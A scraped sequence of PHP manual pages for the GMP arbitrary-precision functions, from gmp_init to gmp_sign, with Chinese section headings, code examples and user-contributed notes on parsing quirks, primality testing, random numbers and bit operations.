It is not necessary to call this function in order to use integers or strings in place of GMP numbers in GMP functions (such as with gmp_add()). Function arguments are automatically converted to GMP numbers, if such conversion is possible and needed, using the same rules as gmp_init().

参见

  • GMP::__construct() - Create GMP number

User Contributed Notes

Aurelien Marchand 03-May-2022 08:04
Missing from the documentation: gmp_init() return false in case it failed to parse $num

<?php
var_dump(gmp_init(""));
// returns "bool(false)" and not a GMP object as hinted by the documentation, it also triggers a Warning "PHP Warning:  gmp_init(): Unable to convert variable to GMP - string is not an integer in php shell code on line 1"

?>
marcus at synchromedia dot co dot uk 11-Aug-2011 04:41
I discovered that the gmp functions use [0-9a-f] up to base 16, but [0-9A-Za-z] (i.e. upper case first) from bases 17 to 62. This differs from most of the base-62 implementations I've found that tend to use lower case first.
karl dot debisschop at pearson dot com 29-Mar-2011 12:15
Unless the base is 16, gpm_init will fail if the string begins with "0b".

> php -r '$v = gmp_init("b83", 17); print("$v\n");'

Resource id #4

> php -r '$v = gmp_init("0b83", 17); print("$v\n");'

[nothing prints]

In may case, where I am explicitly specifying the base, the solution is to apply ltrim first:

> php -r '$v = gmp_init(ltrim("0b83", "0"), 17); print("$v\n");'

Resource id #4
charlie at oblivion dot cz 18-Feb-2007 04:55
gmp_* functions don't accept strings with a leading '+':
<?php
echo gmp_strval(gmp_init('+42'));      #0
echo gmp_strval(gmp_add('42', '+42')); #42
echo bcadd('+42', '+42');              #84
?>
php at richardneill dot org 20-Sep-2006 03:30
Here's a way to parse a decimal (eg 3.25) into an integer and exponent:

<?
if (preg_match("/^[0-9]+\.[0-9]+$/",$input)){
     //Input is a base-10 decimal. Multiply as necessary to remove the decimal
     //point. Convert that to a gmp_resource, then decrement the exponent
     //to compensate.

     $pieces=explode(".", $input);     //Split at the d.p.
     $input="$pieces[0]$pieces[1]";  //Remove the decimal point.

     $input=ltrim($input,'0');
     //Remove any leading zeros, or gmp_init will parse the number as octal.

     if ($input==''){    //Deal with "0.0" which would otherwise be ''.
          $input=0;
      }
      $integer=gmp_init($input);
      $ns_exponent=-strlen($pieces[1]);
     //exponent = (-)  the number of characters after the decimal point.
}
?>
php at richardneill dot org 20-Sep-2006 03:14
Note: Leading zeros will make gmp_init parse this as octal.
Thus gmp_init(010) becomes 8.

$a=010;              //8
$b="010" + 0;     //10
$c=gmp_strval(gmp_init(010));    //8
$d=gmp_strval(gmp_init("010")); //8

This behaviour is inconsistent: either $d should equal $b, or
$b should equal $a.
thomas dot hebinck at digionline dot de 18-Aug-2005 10:23
If you call a gmp_* function directly with an interger as parameter, this integer MUST NOT be 0:

for($i=-1;$i<=1;$i++) {  echo gmp_strval(gmp_add(2,gmp_mul(1,$i))) . ' ';  }

The result is 1 0 3 (wrong)

In this case you have to use gmp_init():

for($i=-1;$i<=1;$i++) {  echo gmp_strval(gmp_add(2,gmp_mul(1,gmp_init($i)))) . ' ';  }

The result is 1 2 3 (right)

Happy number crunching! :-)


Convert GMP number to integer

  • ? gmp_init
  • gmp_invert ?
  • PHP Manual
  • GMP 函数
  • Convert GMP number to integer

gmp_intval

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

gmp_intval — Convert GMP number to integer

说明

gmp_intval(GMP|int|string $num): int

This function converts GMP number into native PHP ints.

参数

num

GMP 对象或 int ，或数字string。

返回值

The int value of num.

示例

Example #1 gmp_intval() example

<?php
// displays correct result
echo gmp_intval("2147483647") . "\n";

// displays wrong result, above PHP integer limit
echo gmp_intval("2147483648") . "\n";

// displays correct result
echo gmp_strval("2147483648") . "\n";
?>

以上示例会输出：

2147483647
2147483647
2147483648

注释

Warning

This function returns a useful result only if the number actually fits the PHP integer (i.e., signed long type). To simply print the GMP number, use gmp_strval().

User Contributed Notes

There are no user contributed notes for this page.


Inverse by modulo

  • ? gmp_intval
  • gmp_jacobi ?
  • PHP Manual
  • GMP 函数
  • Inverse by modulo

gmp_invert

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

gmp_invert — Inverse by modulo

说明

gmp_invert(GMP|int|string $num1, GMP|int|string $num2): GMP|false

Computes the inverse of num1 modulo num2.

参数

num1

GMP 对象或 int ，或数字string。

num2

GMP 对象或 int ，或数字string。

返回值

A GMP number on success or false if an inverse does not exist.

示例

Example #1 gmp_invert() example

<?php
echo gmp_invert("5", "10"); // no inverse, outputs nothing, result is FALSE
$invert = gmp_invert("5", "11");
echo gmp_strval($invert) . "\n";
?>

以上示例会输出：

9

User Contributed Notes

athamidn at gmail dot com 06-Apr-2020 11:31
Example #2 gmp_invert() example
<?php
echo gmp_invert("5", "10"); // no inverse, outputs nothing, result is FALSE

It means (5 * x ) mod 10 = 1. And with this function we want a value for x, because of mod 10, x should be {1.. 10-1(9)}, so :

5 * 1 mod 10 = 5
5 * 2 mod 10 = 0
5 * 3 mod 10 = 5
5 * 4 mod 10 =  0
5 * 5 mod 10 = 5
5 * 6 mod 10 = 0
5 * 7 mod 10 = 5
5 * 8 mod 10 = 0
5 * 9 mod 10 = 5
We don't have any 1 in the results. so it will be False.

$invert = gmp_invert("5", "11");

echo gmp_strval($invert) . "\n";
?>

The above example will output:

9

5 * 9 mod 11 = 1


Jacobi symbol

  • ? gmp_invert
  • gmp_kronecker ?
  • PHP Manual
  • GMP 函数
  • Jacobi symbol

gmp_jacobi

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

gmp_jacobi — Jacobi symbol

说明

gmp_jacobi(GMP|int|string $num1, GMP|int|string $num2): int

Computes » Jacobi symbol of num1 and num2. num2 should be odd and must be positive.

参数

num1

GMP 对象或 int ，或数字string。

num2

GMP 对象或 int ，或数字string。

Should be odd and must be positive.

返回值

GMP 对象。

示例

Example #1 gmp_jacobi() example

<?php
echo gmp_jacobi("1", "3") . "\n";
echo gmp_jacobi("2", "3") . "\n";
?>

以上示例会输出：

1
0

参见

  • gmp_kronecker() - Kronecker symbol
  • gmp_legendre() - Legendre symbol

User Contributed Notes

There are no user contributed notes for this page.


Kronecker symbol

  • ? gmp_jacobi
  • gmp_lcm ?
  • PHP Manual
  • GMP 函数
  • Kronecker symbol

gmp_kronecker

(PHP 7 >= 7.3.0, PHP 8)

gmp_kronecker — Kronecker symbol

说明

gmp_kronecker(GMP|int|string $num1, GMP|int|string $num2): int

This function computes the Kronecker symbol of num1 and num2.

参数

num1

GMP 对象或 int ，或数字string。

num2

GMP 对象或 int ，或数字string。

返回值

Returns the Kronecker symbol of num1 and num2

参见

  • gmp_jacobi() - Jacobi symbol
  • gmp_legendre() - Legendre symbol

User Contributed Notes

There are no user contributed notes for this page.


Calculate LCM

  • ? gmp_kronecker
  • gmp_legendre ?
  • PHP Manual
  • GMP 函数
  • Calculate LCM

gmp_lcm

(PHP 7 >= 7.3.0, PHP 8)

gmp_lcm — Calculate LCM

说明

gmp_lcm(GMP|int|string $num1, GMP|int|string $num2): GMP

This function computes the least common multiple (lcm) of num1 and num2.

参数

num1

GMP 对象或 int ，或数字string。

num2

GMP 对象或 int ，或数字string。

返回值

GMP 对象。

参见

  • gmp_gcd() - Calculate GCD

User Contributed Notes

There are no user contributed notes for this page.


Legendre symbol

  • ? gmp_lcm
  • gmp_mod ?
  • PHP Manual
  • GMP 函数
  • Legendre symbol

gmp_legendre

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

gmp_legendre — Legendre symbol

说明

gmp_legendre(GMP|int|string $num1, GMP|int|string $num2): int

Compute the » Legendre symbol of num1 and num2. num2 should be odd and must be positive.

参数

num1

GMP 对象或 int ，或数字string。

num2

GMP 对象或 int ，或数字string。

Should be odd and must be positive.

返回值

GMP 对象。

示例

Example #1 gmp_legendre() example

<?php
echo gmp_legendre("1", "3") . "\n";
echo gmp_legendre("2", "3") . "\n";
?>

以上示例会输出：

1
0

参见

  • gmp_jacobi() - Jacobi symbol
  • gmp_kronecker() - Kronecker symbol

User Contributed Notes

There are no user contributed notes for this page.


Modulo operation

  • ? gmp_legendre
  • gmp_mul ?
  • PHP Manual
  • GMP 函数
  • Modulo operation

gmp_mod

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

gmp_mod — Modulo operation

说明

gmp_mod(GMP|int|string $num1, GMP|int|string $num2): GMP

Calculates num1 modulo num2. The result is always non-negative, the sign of num2 is ignored.

参数

num1

GMP 对象或 int ，或数字string。

num2

The modulo that is being evaluated.

GMP 对象或 int ，或数字string。

返回值

GMP 对象。

示例

Example #1 gmp_mod() example

<?php
$mod = gmp_mod("8", "3");
echo gmp_strval($mod) . "\n";
?>

以上示例会输出：

2

User Contributed Notes

There are no user contributed notes for this page.


Multiply numbers

  • ? gmp_mod
  • gmp_neg ?
  • PHP Manual
  • GMP 函数
  • Multiply numbers

gmp_mul

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

gmp_mul — Multiply numbers

说明

gmp_mul(GMP|int|string $num1, GMP|int|string $num2): GMP

Multiplies num1 by num2 and returns the result.

参数

num1

A number that will be multiplied by num2.

GMP 对象或 int ，或数字string。

num2

A number that will be multiplied by num1.

GMP 对象或 int ，或数字string。

返回值

GMP 对象。

示例

Example #1 gmp_mul() example

<?php
$mul = gmp_mul("12345678", "2000");
echo gmp_strval($mul) . "\n";
?>

以上示例会输出：

24691356000

User Contributed Notes

06-Dec-2006 01:11
<?php
function fact($x)
{
   $factorial = 1;
   for ($i=2; $i < $x; $i++) {
       $factorial = gmp_mul($factorial, $i);
   }
   return $factorial;
}

echo gmp_strval(fact(1000)) . "\n";
?>


Negate number

  • ? gmp_mul
  • gmp_nextprime ?
  • PHP Manual
  • GMP 函数
  • Negate number

gmp_neg

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

gmp_neg — Negate number

说明

gmp_neg(GMP|int|string $num): GMP

Returns the negative value of a number.

参数

num

GMP 对象或 int ，或数字string。

返回值

Returns -num, as a GMP number.

示例

Example #1 gmp_neg() example

<?php
$neg1 = gmp_neg("1");
echo gmp_strval($neg1) . "\n";
$neg2 = gmp_neg("-1");
echo gmp_strval($neg2) . "\n";
?>

以上示例会输出：

-1
1

User Contributed Notes

There are no user contributed notes for this page.


Find next prime number

  • ? gmp_neg
  • gmp_or ?
  • PHP Manual
  • GMP 函数
  • Find next prime number

gmp_nextprime

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

gmp_nextprime — Find next prime number

说明

gmp_nextprime(GMP|int|string $num): GMP

Find next prime number

参数

num

GMP 对象或 int ，或数字string。

返回值

Return the next prime number greater than num, as a GMP number.

示例

Example #1 gmp_nextprime() example

<?php
$prime1 = gmp_nextprime(10); // next prime number greater than 10
$prime2 = gmp_nextprime(-1000); // next prime number greater than -1000

echo gmp_strval($prime1) . "\n";
echo gmp_strval($prime2) . "\n";
?>

以上示例会输出：

11
2

注释

Note:

This function uses a probabilistic algorithm to identify primes and chances to get a composite number are extremely small.

User Contributed Notes

IceMetalPunk at gmail dot com 03-Feb-2017 04:01
Negative numbers N always have at least four factors: N*1=N and abs(N)*-1=N. Therefore, even if "natural number" weren't in the definition of a prime (which it is), no negative number would ever qualify. Therefore, the next-largest prime number to any negative number is always 2.
Tommy Lynge Jrgensen 08-Jun-2016 04:17
Prime numbers are positive, non-zero numbers that have exactly two factors. No more, no less. So testing negative numbers doesn't really make any sense.
Anonymous 09-Feb-2016 05:21
It seems gmp_nextprime on negative numbers always returns 2.


Bitwise OR

  • ? gmp_nextprime
  • gmp_perfect_power ?
  • PHP Manual
  • GMP 函数
  • Bitwise OR

gmp_or

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

gmp_or — Bitwise OR

说明

gmp_or(GMP|int|string $num1, GMP|int|string $num2): GMP

Calculates bitwise inclusive OR of two GMP numbers.

参数

num1

GMP 对象或 int ，或数字string。

num2

GMP 对象或 int ，或数字string。

返回值

GMP 对象。

示例

Example #1 gmp_or() example

<?php
$or1 = gmp_or("0xfffffff2", "4");
echo gmp_strval($or1, 16) . "\n";
$or2 = gmp_or("0xfffffff2", "2");
echo gmp_strval($or2, 16) . "\n";
?>

以上示例会输出：

fffffff6
fffffff2

User Contributed Notes

There are no user contributed notes for this page.


Perfect power check

  • ? gmp_or
  • gmp_perfect_square ?
  • PHP Manual
  • GMP 函数
  • Perfect power check

gmp_perfect_power

(PHP 7 >= 7.3.0, PHP 8)

gmp_perfect_power — Perfect power check

说明

gmp_perfect_power(GMP|int|string $num): bool

Checks whether num is a perfect power.

参数

num

GMP 对象或 int ，或数字string。

返回值

Returns true if num is a perfect power, false otherwise.

参见

  • gmp_perfect_square() - Perfect square check

User Contributed Notes

There are no user contributed notes for this page.


Perfect square check

  • ? gmp_perfect_power
  • gmp_popcount ?
  • PHP Manual
  • GMP 函数
  • Perfect square check

gmp_perfect_square

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

gmp_perfect_square — Perfect square check

说明

gmp_perfect_square(GMP|int|string $num): bool

Check if a number is a perfect square.

参数

num

The number being checked as a perfect square.

GMP 对象或 int ，或数字string。

返回值

Returns true if num is a perfect square, false otherwise.

示例

Example #1 gmp_perfect_square() example

<?php
// 3 * 3, perfect square
var_dump(gmp_perfect_square("9"));

// not a perfect square
var_dump(gmp_perfect_square("7"));

// 1234567890 * 1234567890, perfect square
var_dump(gmp_perfect_square("1524157875019052100"));
?>

以上示例会输出：

bool(true)
bool(false)
bool(true)

参见

  • gmp_perfect_power() - Perfect power check
  • gmp_sqrt() - Calculate square root
  • gmp_sqrtrem() - Square root with remainder

User Contributed Notes

There are no user contributed notes for this page.


Population count

  • ? gmp_perfect_square
  • gmp_pow ?
  • PHP Manual
  • GMP 函数
  • Population count

gmp_popcount

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

gmp_popcount — Population count

说明

gmp_popcount(GMP|int|string $num): int

Get the population count.

参数

num

GMP 对象或 int ，或数字string。

返回值

The population count of num, as an int.

示例

Example #1 gmp_popcount() example

<?php
$pop1 = gmp_init("10000101", 2); // 3 1's
echo gmp_popcount($pop1) . "\n";
$pop2 = gmp_init("11111110", 2); // 7 1's
echo gmp_popcount($pop2) . "\n";
?>

以上示例会输出：

3
7

User Contributed Notes

ketrab2004 14-Nov-2021 02:18
Another way to get the population count when you don't have the gmp extension is using bitwise operations:

<?php

$int = 133; // 10000101

for($count = 0; $int != 0; $count++) // repeat until $int is 0 (and count the amount of steps it takes in $count)
{
    $int = $int & $int-1; // remove the right most 1 from $int using the bitwise and operator
}

echo $count; // 3

?>

This is Kernighan's population count.

https://youtu.be/ZRNO-ewsNcQ?t=510 has a nice explanation on how it works
phpmanual at headbank dot co dot uk 18-Nov-2018 03:51
If you don't have gmp extension enabled (or don't want to use it for any reason), you can get popcount of an int using decbin() and substr_count().

<?php
$int1 = 133;
$bin1 = decbin($int1); // "10000101"
echo substr_count($bin1, "1");

// Result: 3
?>

Being a string-comparison this is far less efficient than gmp_popcount() (for which there is a dedicated instruction on most if not all modern processors), but may be handy if gmp is unavailable, or in non-performance-critical code that doesn't otherwise need it.


Raise number into power

  • ? gmp_popcount
  • gmp_powm ?
  • PHP Manual
  • GMP 函数
  • Raise number into power

gmp_pow

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

gmp_pow — Raise number into power

说明

gmp_pow(GMP|int|string $num, int $exponent): GMP

Raise num into power exponent.

参数

num

The base number.

GMP 对象或 int ，或数字string。

exponent

The positive power to raise the num.

返回值

The new (raised) number, as a GMP number. The case of 0^0 yields 1.

示例

Example #1 gmp_pow() example

<?php
$pow1 = gmp_pow("2", 31);
echo gmp_strval($pow1) . "\n";
$pow2 = gmp_pow("0", 0);
echo gmp_strval($pow2) . "\n";
$pow3 = gmp_pow("2", -1); // Negative exp, generates warning
echo gmp_strval($pow3) . "\n";
?>

以上示例会输出：

2147483648
1

User Contributed Notes

rahulkadukar at yahoo dot com 16-May-2011 06:11
A Sample code can be shown as

<?php
echo gmp_strval(gmp_pow(4,4)); //This would give the answer as 256
?>


Raise number into power with modulo

  • ? gmp_pow
  • gmp_prob_prime ?
  • PHP Manual
  • GMP 函数
  • Raise number into power with modulo

gmp_powm

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

gmp_powm — Raise number into power with modulo

说明

gmp_powm(GMP|int|string $num, GMP|int|string $exponent, GMP|int|string $modulus): GMP

Calculate (num raised into power exponent) modulo modulus. If exponent is negative, result is undefined.

参数

num

The base number.

GMP 对象或 int ，或数字string。

exponent

The positive power to raise the num.

GMP 对象或 int ，或数字string。

modulus

The modulo.

GMP 对象或 int ，或数字string。

返回值

The new (raised) number, as a GMP number.

示例

Example #1 gmp_powm() example

<?php
$pow1 = gmp_powm("2", "31", "2147483649");
echo gmp_strval($pow1) . "\n";
?>

以上示例会输出：

2147483648

User Contributed Notes

jessietessie256 at gmail dot com 11-Jan-2019 06:36
can be used for RSA encryption/decryption!


Check if number is "probably prime"

  • ? gmp_powm
  • gmp_random_bits ?
  • PHP Manual
  • GMP 函数
  • Check if number is "probably prime"

gmp_prob_prime

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

gmp_prob_prime — Check if number is "probably prime"

说明

gmp_prob_prime(GMP|int|string $num, int $repetitions = 10): int

The function uses Miller-Rabin's probabilistic test to check if a number is a prime.

参数

num

The number being checked as a prime.

GMP 对象或 int ，或数字string。

repetitions

Reasonable values of repetitions vary from 5 to 10 (default being 10); a higher value lowers the probability for a non-prime to pass as a "probable" prime.

GMP 对象或 int ，或数字string。

返回值

If this function returns 0, num is definitely not prime. If it returns 1, then num is "probably" prime. If it returns 2, then num is surely prime.

示例

Example #1 gmp_prob_prime() example

<?php
// definitely not a prime
echo gmp_prob_prime("6") . "\n";

// probably a prime
echo gmp_prob_prime("1111111111111111111") . "\n";

// definitely a prime
echo gmp_prob_prime("11") . "\n";
?>

以上示例会输出：

0
1
2

User Contributed Notes

florin dot ciuica at yahoo dot com 26-Sep-2014 10:00
<?php
    $max = 2147483647;

    $primesFound = 0;
    $probablePrimes = 0;

    for ($x = 1; $x <= $max; $x++) {
        $primeStatus = gmp_prob_prime($x);
        if ($primeStatus == 1) {
            $probablePrimes++;
        } else if ($primeStatus == 2) {
            $primesFound++;
        }
    }
    echo "Total primes found: " . $primesFound . " between 1 and " . $max . ". Probable primes in this interval: " . $probablePrimes;
?>

Based on that the following results were obtained:

1 - 100000      - certain primes found: 9592,     probable: 0
1 - 1000000     - certain primes found: 78498,    probable: 0
1 - 10000000    - certain primes found: 78498,    probable: 586081
1 - 100000000   - certain primes found: 78498,    probable: 5682957
1 - 1000000000  - certain primes found: 78498,    probable: 50769036
1 - 2147483647  - certain primes found: 78498,    probable: 105019067


Random number

  • ? gmp_prob_prime
  • gmp_random_range ?
  • PHP Manual
  • GMP 函数
  • Random number

gmp_random_bits

(PHP 5 >= 5.6.3, PHP 7, PHP 8)

gmp_random_bits — Random number

说明

gmp_random_bits(int $bits): GMP

Generate a random number. The number will be between 0 and 2$bits - 1.

bits must greater than 0, and the maximum value is restricted by available memory.

Caution

本函数并不会生成安全加密的值，并且不可用于加密或者要求返回值不可猜测的目的。

如果需要加密安全随机，则可以将 Random\Engine\Secure 引擎用于 Random\Randomizer。对于简单的用例，random_int() 和 random_bytes() 函数提供了操作系统的 CSPRNG 支持的方便且安全的 API。

参数

bits

The number of bits to generate.

返回值

A random GMP number.

错误／异常

If bits is less than 1, a ValueError will be thrown.

示例

Example #1 gmp_random_bits() example

<?php
$rand1 = gmp_random_bits(3); // random number from 0 to 7
$rand2 = gmp_random_bits(5); // random number from 0 to 31

echo gmp_strval($rand1) . "\n";
echo gmp_strval($rand2) . "\n";
?>

以上示例会输出：

3
15

User Contributed Notes

There are no user contributed notes for this page.


Get a uniformly selected integer

  • ? gmp_random_bits
  • gmp_random_seed ?
  • PHP Manual
  • GMP 函数
  • Get a uniformly selected integer

gmp_random_range

(PHP 5 >= 5.6.3, PHP 7, PHP 8)

gmp_random_range — Get a uniformly selected integer

说明

gmp_random_range(GMP|int|string $min, GMP|int|string $max): GMP

Generate a random number. The number will be between min and max.

min and max can both be negative, but min must always be less than max.

Caution

本函数并不会生成安全加密的值，并且不可用于加密或者要求返回值不可猜测的目的。

如果需要加密安全随机，则可以将 Random\Engine\Secure 引擎用于 Random\Randomizer。对于简单的用例，random_int() 和 random_bytes() 函数提供了操作系统的 CSPRNG 支持的方便且安全的 API。

参数

min

A GMP number representing the lower bound for the random number

max

A GMP number representing the upper bound for the random number

返回值

Returns a GMP object which contains a uniformly selected integer from the closed interval [min, max]. Both min and max are possible return values.

错误／异常

If max is less than min, a ValueError will be thrown.

示例

Example #1 gmp_random_range() example

<?php
$rand1 = gmp_random_range(0, 100); // random number between 0 and 100
$rand2 = gmp_random_range(-100, -10); // random number between -100 and -10

echo gmp_strval($rand1) . "\n";
echo gmp_strval($rand2) . "\n";
?>

以上示例会输出：

42
-67

User Contributed Notes

There are no user contributed notes for this page.


Sets the RNG seed

  • ? gmp_random_range
  • gmp_random ?
  • PHP Manual
  • GMP 函数
  • Sets the RNG seed

gmp_random_seed

(PHP 7, PHP 8)

gmp_random_seed — Sets the RNG seed

说明

gmp_random_seed(GMP|int|string $seed): void

参数

seed

The seed to be set for the gmp_random(), gmp_random_bits(), and gmp_random_range() functions.

GMP 对象或 int ，或数字string。

返回值

没有返回值。

错误／异常

Throws a ValueError if seed is invalid.

更新日志

版本 | 说明
8.0.0 | If seed is invalid, gmp_random_seed() now throws a ValueError. Previously it emitted an E_WARNING and returned false.

示例

Example #1 gmp_random_seed() example

<?php
// set the seed
gmp_random_seed(100);

var_dump(gmp_strval(gmp_random(1)));

// set the seed to something else
gmp_random_seed(gmp_init(-100));

var_dump(gmp_strval(gmp_random_bits(10)));

// set the seed to something invalid
var_dump(gmp_random_seed('not a number'));

以上示例会输出：

string(20) "15370156633245019617"
string(3) "683"

Warning: gmp_random_seed(): Unable to convert variable to GMP - string is not an integer in %s on line %d
bool(false)

参见

  • gmp_init() - Create GMP number
  • gmp_random() - Random number
  • gmp_random_bits() - Random number
  • gmp_random_range() - Get a uniformly selected integer

User Contributed Notes

There are no user contributed notes for this page.


Random number

  • ? gmp_random_seed
  • gmp_root ?
  • PHP Manual
  • GMP 函数
  • Random number

gmp_random

(PHP 4 >= 4.0.4, PHP 5, PHP 7)

gmp_random — Random number

Warning

本函数已自 PHP 7.2.0 起被废弃，并自 PHP 8.0.0 起被移除。 强烈建议不要依赖本函数。

说明

gmp_random(int $limiter = 20): GMP

Generate a random number. The number will be between 0 and (2 ** n) - 1, where n is the number of bits per limb multiplied by limiter. If limiter is negative, negative numbers are generated.

A limb is an internal GMP mechanism. The number of bits in a limb is not static, and can vary from system to system. Generally, the number of bits in a limb is either 32 or 64, but this is not guaranteed.

Caution

本函数并不会生成安全加密的值，并且不可用于加密或者要求返回值不可猜测的目的。

如果需要加密安全随机，则可以将 Random\Engine\Secure 引擎用于 Random\Randomizer。对于简单的用例，random_int() 和 random_bytes() 函数提供了操作系统的 CSPRNG 支持的方便且安全的 API。

参数

limiter

The limiter.

GMP 对象或 int ，或数字string。

返回值

A random GMP number.

示例

Example #1 gmp_random() example

<?php
$rand1 = gmp_random(1); // random number from 0 to 1 * bits per limb
$rand2 = gmp_random(2); // random number from 0 to 2 * bits per limb

echo gmp_strval($rand1) . "\n";
echo gmp_strval($rand2) . "\n";
?>

以上示例会输出：

1915834968
8642564075890328087

User Contributed Notes

asphp at dsgml dot com 27-Mar-2016 03:48
Warning: Do not use this function.

Use gmp_random_bits() or gmp_random_range() instead.

The documentation and the code for this function do NOT match, and in any case this function is quite useless.


Take the integer part of nth root

  • ? gmp_random
  • gmp_rootrem ?
  • PHP Manual
  • GMP 函数
  • Take the integer part of nth root

gmp_root

(PHP 5 >= 5.6.0, PHP 7, PHP 8)

gmp_root — Take the integer part of nth root

说明

gmp_root(GMP|int|string $num, int $nth): GMP

Takes the nth root of num and returns the integer component of the result.

参数

num

GMP 对象或 int ，或数字string。

nth

The positive root to take of num.

返回值

The integer component of the resultant root, as a GMP number.

User Contributed Notes

There are no user contributed notes for this page.


Take the integer part and remainder of nth root

  • ? gmp_root
  • gmp_scan0 ?
  • PHP Manual
  • GMP 函数
  • Take the integer part and remainder of nth root

gmp_rootrem

(PHP 5 >= 5.6.0, PHP 7, PHP 8)

gmp_rootrem — Take the integer part and remainder of nth root

说明

gmp_rootrem(GMP|int|string $num, int $nth): array

Takes the nth root of num and returns the integer component and remainder of the result.

参数

num

GMP 对象或 int ，或数字string。

nth

The positive root to take of num.

返回值

A two element array, where the first element is the integer component of the root, and the second element is the remainder, both represented as GMP numbers.

User Contributed Notes

There are no user contributed notes for this page.


Scan for 0

  • ? gmp_rootrem
  • gmp_scan1 ?
  • PHP Manual
  • GMP 函数
  • Scan for 0

gmp_scan0

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

gmp_scan0 — Scan for 0

说明

gmp_scan0(GMP|int|string $num1, int $start): int

Scans num1, starting with bit start, towards more significant bits, until the first clear bit is found.

参数

num1

The number to scan.

GMP 对象或 int ，或数字string。

start

The starting bit.

返回值

Returns the index of the found bit, as an int. The index starts from 0.

示例

Example #1 gmp_scan0() example

<?php
// "0" bit is found at position 3. index starts at 0
$s1 = gmp_init("10111", 2);
echo gmp_scan0($s1, 0) . "\n";

// "0" bit is found at position 7. index starts at 5
$s2 = gmp_init("101110000", 2);
echo gmp_scan0($s2, 5) . "\n";
?>

以上示例会输出：

3
7

User Contributed Notes

There are no user contributed notes for this page.


Scan for 1

  • ? gmp_scan0
  • gmp_setbit ?
  • PHP Manual
  • GMP 函数
  • Scan for 1

gmp_scan1

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

gmp_scan1 — Scan for 1

说明

gmp_scan1(GMP|int|string $num1, int $start): int

Scans num1, starting with bit start, towards more significant bits, until the first set bit is found.

参数

num1

The number to scan.

GMP 对象或 int ，或数字string。

start

The starting bit.

返回值

Returns the index of the found bit, as an int. If no set bit is found, -1 is returned.

示例

Example #1 gmp_scan1() example

<?php
// "1" bit is found at position 3. index starts at 0
$s1 = gmp_init("01000", 2);
echo gmp_scan1($s1, 0) . "\n";

// "1" bit is found at position 9. index starts at 5
$s2 = gmp_init("01000001111", 2);
echo gmp_scan1($s2, 5) . "\n";
?>

以上示例会输出：

3
9

User Contributed Notes

There are no user contributed notes for this page.


Set bit

  • ? gmp_scan1
  • gmp_sign ?
  • PHP Manual
  • GMP 函数
  • Set bit

gmp_setbit

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

gmp_setbit — Set bit

说明

gmp_setbit(GMP $num, int $index, bool $value = true): void

Sets bit index in num.

参数

num

A GMP object.

index

The index of the bit to set. Index 0 represents the least significant bit.

value

True to set the bit (set it to 1/on); false to clear the bit (set it to 0/off).

返回值

GMP 对象。

示例

Example #1 gmp_setbit() example - 0 index

<?php
$a = gmp_init("2"); //
echo gmp_strval($a), ' -> 0b', gmp_strval($a, 2), "\n";
gmp_setbit($a, 0); // 0b10 now becomes 0b11
echo gmp_strval($a), ' -> 0b', gmp_strval($a, 2), "\n";
?>

以上示例会输出：

2 -> 0b10
3 -> 0b11

Example #2 gmp_setbit() example - 1 index

<?php
$a = gmp_init("0xfd");
echo gmp_strval($a), ' -> 0b', gmp_strval($a, 2), "\n";
gmp_setbit($a, 1); // index starts at 0
echo gmp_strval($a), ' -> 0b', gmp_strval($a, 2), "\n";
?>

以上示例会输出：

253 -> 0b11111101
255 -> 0b11111111

Example #3 gmp_setbit() example - clearing a bit

<?php
$a = gmp_init("0xff");
echo gmp_strval($a), ' -> 0b', gmp_strval($a, 2), "\n";
gmp_setbit($a, 0, false); // clear bit at index 0
echo gmp_strval($a), ' -> 0b', gmp_strval($a, 2), "\n";
?>

以上示例会输出：

255 -> 0b11111111
254 -> 0b11111110

注释

Note:

Unlike most of the other GMP functions, gmp_setbit() must be called with a GMP object that already exists (using gmp_init() for example). One will not be automatically created.

参见

  • gmp_clrbit() - Clear bit
  • gmp_testbit() - Tests if a bit is set

User Contributed Notes

bluej100@gmail 27-Jul-2007 09:07
The third parameter is somewhat confusingly named; it would probably be better described as "$set_state". If true, it sets the bit to 1. If false, it sets the bit to 0. Default is true.

<?php
$num = gmp_init(1);
gmp_setbit($num, 1);
echo 'gmp_setbit(1, 1): '.gmp_strval($num, 2)."\n"; // 11

$num = gmp_init(1);
gmp_setbit($num, 1, true);
echo 'gmp_setbit(1, 1, true): '.gmp_strval($num, 2)."\n"; // 11

$num = gmp_init(1);
gmp_setbit($num, 0, false);
echo 'gmp_setbit(1, 0, false): '.gmp_strval($num, 2)."\n"; // 0
?>


Sign of number

  • ? gmp_setbit
  • gmp_sqrt ?
  • PHP Manual
  • GMP 函数
  • Sign of number

gmp_sign

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

gmp_sign — Sign of number

说明

gmp_sign(GMP|int|string $num): int

Checks the sign of a number.

参数

num

Either a GMP object, or a numeric string provided that it is possible to convert the latter to an int.

返回值

Returns 1 if num is positive, -1 if num is negative, and 0 if num is zero.

示例

Example #1 gmp_sign() example

<?php
// positive
echo gmp_sign("500") . "\n";

// negative
echo gmp_sign("-500") . "\n";

// zero
echo gmp_sign("0") . "\n";
?>

以上示例会输出：

1
-1
0

参见

  • gmp_abs() - Absolute value
  • abs() - 绝对值

User Contributed Notes

Andrew Martin 18-Jul-2017 01:28
Using a spaceship in PHP7:

<?php
$sign = $number <=> 0;
?>
jdyerjdyer 18-Nov-2015 05:04
For conciseness or golfing ;)

$s=$n<0|-($n>0)

where $s sign is 1 if positive, -1 if negative, otherwise -0 or +0 which is still 0
Andrew Martin 03-Oct-2014 03:11
Another way for those without GMP:

<?php
function sign($number) {
    return $number / abs($number ?: 1);
}
?>
